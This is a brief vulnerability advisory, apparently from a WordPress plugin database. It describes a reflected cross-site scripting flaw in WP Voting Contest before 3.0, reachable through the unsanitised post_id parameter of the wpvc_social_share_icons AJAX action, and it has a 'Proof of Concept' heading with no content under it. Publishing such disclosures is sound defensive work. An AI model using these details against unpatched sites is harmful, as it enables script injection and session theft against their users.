WordPress Plugin Vulnerabilities
WP Voting Contest < 3.0 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the post_id parameter before outputting it back in the response via the wpvc_social_share_icons AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue
Proof of Concept
